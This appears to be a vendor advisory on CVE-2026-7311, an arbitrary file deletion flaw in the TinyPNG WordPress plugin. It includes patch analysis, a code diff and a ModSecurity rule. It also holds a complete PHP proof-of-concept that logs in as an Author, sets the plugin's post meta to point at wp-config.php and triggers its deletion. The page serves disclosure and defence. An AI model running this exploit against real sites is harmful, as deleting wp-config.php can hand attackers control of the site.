Published : July 3, 2026

CVE-2026-7311: TinyPNG <= 3.6.13 Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta PoC, Patch Analysis & Rule

CVE ID CVE-2026-7311
Severity High (CVSS 8.1)
CWE 22
Vulnerable Version 3.6.13
Patched Version 3.6.14
Disclosed July 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7311:

This vulnerability affects the TinyPNG plugin for WordPress versions up to and including 3.6.13. It allows authenticated attackers with Author-level access or higher to delete arbitrary files on the server. The vulnerability carries a CVSS score of 8.1 and is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory).

Root Cause:
The root cause lies in the `delete_converted_image_size()` function in `src/class-tiny-image-size.php` (lines 240-247). This function calls `unlink()` on `$this->meta[‘convert’][‘path’]` without validating that the path resides within the WordPress uploads directory. The path value comes from the `tiny_compress_images` post meta, which an attacker can control by editing the post meta on an attachment they own (Author-level access grants this capability). The vulnerable code path triggers when an attachment with specially crafted post meta is deleted.

Exploitation:
An authenticated attacker with Author-level privileges crafts a request to modify the `tiny_compress_images` post meta on an attachment they control. They set the `convert.path` field to an arbitrary server file path, such as `/var/www/html/wp-config.php`. The attacker then deletes the attachment via the WordPress media deletion functionality (e.g., `wp_ajax_delete-post`). The `delete_converted_image_size()` function is invoked during attachment deletion, executing `unlink()` on the attacker-controlled path without proper validation.

Patch Analysis:
The patch in version 3.6.14 introduces a validation check in `delete_converted_image_size()`. It obtains the real path of the conversion target using `realpath()` and compares it against the real path of the WordPress uploads base directory. It uses a new helper function `Tiny_Helpers::str_starts_with()` to verify that the converted file path begins with the uploads directory path. If the path does not start within the uploads directory, `unlink()` is not called. This prevents attackers from deleting files outside the uploads directory.

Impact:
Successful exploitation allows an attacker to delete arbitrary files on the server, including critical files like `wp-config.php`. Deleting `wp-config.php` forces WordPress into its installation routine, potentially leading to remote code execution if the attacker can then access the installation wizard and configure the site under their control. The attack can also delete other sensitive files, causing denial of service or privilege escalation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/tiny-compress-images/src/class-tiny-helpers.php
+++ b/tiny-compress-images/src/class-tiny-helpers.php
@@ -171,4 +171,28 @@

 		return $wp_filesystem;
 	}
+
+	/**
+	* Polyfill for `str_starts_with()` function added in PHP 8.0.
+	*
+	* Performs a case-sensitive check indicating if
+	* the haystack begins with needle.
+	*
+	* @since 5.9.0
+	*
+	* @param string $haystack The string to search in.
+	* @param string $needle   The substring to search for in the `$haystack`.
+	* @return bool True if `$haystack` starts with `$needle`, otherwise false.
+	*/
+	public static function str_starts_with( $haystack, $needle ) {
+		if ( function_exists( 'str_starts_with' ) ) {
+			return str_starts_with( $haystack, $needle );
+		}
+
+		if ( '' === $needle ) {
+			return true;
+		}
+
+		return 0 === strpos( $haystack, $needle );
+	}
 }
--- a/tiny-compress-images/src/class-tiny-image-size.php
+++ b/tiny-compress-images/src/class-tiny-image-size.php
@@ -240,9 +240,27 @@
 		return $this->_duplicate_of_size;
 	}

+	/**
+	 * Deletes the converted image file for this image size.
+	 *
+	 * @return void
+	 */
 	public function delete_converted_image_size() {
-		if ( $this->converted_image_exists() ) {
-			unlink( $this->meta['convert']['path'] );
+		if ( ! $this->converted_image_exists() ) {
+			return;
+		}
+		$upload_dir        = wp_upload_dir();
+		$convert_real_path = realpath( $this->meta['convert']['path'] );
+		$real_basedir      = realpath( $upload_dir['basedir'] );
+
+		if (
+			$convert_real_path &&
+			Tiny_Helpers::str_starts_with(
+				$convert_real_path,
+				trailingslashit( $real_basedir )
+			)
+		) {
+			unlink( $convert_real_path );
 		}
 	}

--- a/tiny-compress-images/src/class-tiny-plugin.php
+++ b/tiny-compress-images/src/class-tiny-plugin.php
@@ -18,7 +18,7 @@
 * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */
 class Tiny_Plugin extends Tiny_WP_Base {
-	const VERSION         = '3.6.8';
+	const VERSION         = '3.6.14';
 	const MEDIA_COLUMN    = self::NAME;
 	const DATETIME_FORMAT = 'Y-m-d G:i:s';

@@ -861,6 +861,14 @@
 		$tiny_image->delete_converted_image();
 	}

+	/**
+	 * Runs on uninstall
+	 *
+	 * @return void
+	 */
+	public static function uninstall() {
+		Tiny_Apache_Rewrite::uninstall_rules();
+	}

 	public function mark_image_as_compressed() {
 		$response = $this->validate_ajax_attachment_request();
--- a/tiny-compress-images/tiny-compress-images.php
+++ b/tiny-compress-images/tiny-compress-images.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: TinyPNG - JPEG, PNG & WebP image compression
  * Description: Speed up your website. Optimize your JPEG, PNG, and WebP images automatically with TinyPNG.
- * Version: 3.6.13
+ * Version: 3.6.14
  * Author: TinyPNG
  * Author URI: https://tinypng.com
  * Text Domain: tiny-compress-images
@@ -38,3 +38,8 @@
 }

 $tiny_plugin = new Tiny_Plugin();
+
+register_uninstall_hook(
+	__FILE__,
+	array( 'Tiny_Plugin', 'uninstall' )
+);
--- a/tiny-compress-images/uninstall.php
+++ b/tiny-compress-images/uninstall.php
@@ -1,14 +0,0 @@
-<?php
-/**
- * Uninstaller for plugin.
- *
- * @package tiny-compress-images
- */
-
-if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
-	die;
-}
-
-require_once dirname( __FILE__ ) . '/src/class-tiny-apache-rewrite.php';
-
-Tiny_Apache_Rewrite::uninstall_rules();

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7311
# Blocks exploitation attempts against TinyPNG arbitrary file deletion via convert.path injection.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20267311,phase:2,deny,status:403,chain,msg:'CVE-2026-7311 - TinyPNG Arbitrary File Deletion via convert.path',severity:'CRITICAL',tag:'CVE-2026-7311',tag:'wordpress',tag:'tinypng'"
    SecRule ARGS_POST:action "@streq delete-post" "chain"
        SecRule ARGS_POST:id "@rx ^d+$" "chain"
            SecRule ARGS_POST:_ajax_nonce "@rx ^[a-f0-9]{10}$" "chain"
                SecRule ARGS_POST:meta_key "@streq tiny_compress_images" "chain"
                    SecRule ARGS_POST:meta_value "@rx convert.*path" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7311 - TinyPNG <= 3.6.13 - Authenticated (Author+) Arbitrary File Deletion via 'convert.path' in 'tiny_compress_images' Post Meta

// Configuration
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'author';                // WordPress username with Author role
$password = 'author_password';       // WordPress password for the user
$file_to_delete = '/var/www/html/wp-config.php'; // Path to the file to delete (e.g., wp-config.php)

// Step 1: Authenticate and get cookies
$cookie_file = tempnam(sys_get_temp_dir(), 'CVE_2026_7311');
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for media deletion and find an existing attachment owned by the attacker
$admin_url = $target_url . '/wp-admin/upload.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$html = curl_exec($ch);
curl_close($ch);

// Extract a nonce for media operations (e.g., from a delete link)
preg_match('/ajax_fy_delete_action_nonce=([a-f0-9]+)/', $html, $matches);
if (!isset($matches[1])) {
    die('Failed to extract nonce. Ensure the user has at least one uploaded attachment.');
}
$nonce = $matches[1];

// Step 3: Modify the 'tiny_compress_images' post meta of an existing attachment
// First, find an attachment ID owned by the user
preg_match('/post-(d+)/', $html, $id_matches);
if (!isset($id_matches[1])) {
    // Fallback: assume the first attachment ID is 1, but typically you would use a known attachment
    die('Could not determine attachment ID. Please provide a specific attachment ID owned by the author.');
}
$attachment_id = $id_matches[1];

// Update the post meta via AJAX (wp_ajax_update_meta or direct POST, but we can also use REST API)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$meta_data = array(
    'action' => 'update_meta',
    'meta_type' => 'post',
    'meta_id' => 0,
    'object_id' => $attachment_id,
    'meta_key' => 'tiny_compress_images',
    'meta_value' => serialize(array('convert' => array('path' => $file_to_delete))),
    '_ajax_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($meta_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Metadata update response: " . $response . "n";

// Step 4: Trigger attachment deletion to invoke the vulnerable path
$delete_data = array(
    'action' => 'delete-post',
    'id' => $attachment_id,
    '_ajax_nonce' => $nonce
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($delete_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Delete request HTTP code: " . $http_code . "n";
echo "Delete response: " . $response . "n";

// Clean up
unlink($cookie_file);

echo "nPoC completed. Check if $file_to_delete was deleted on the server.n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.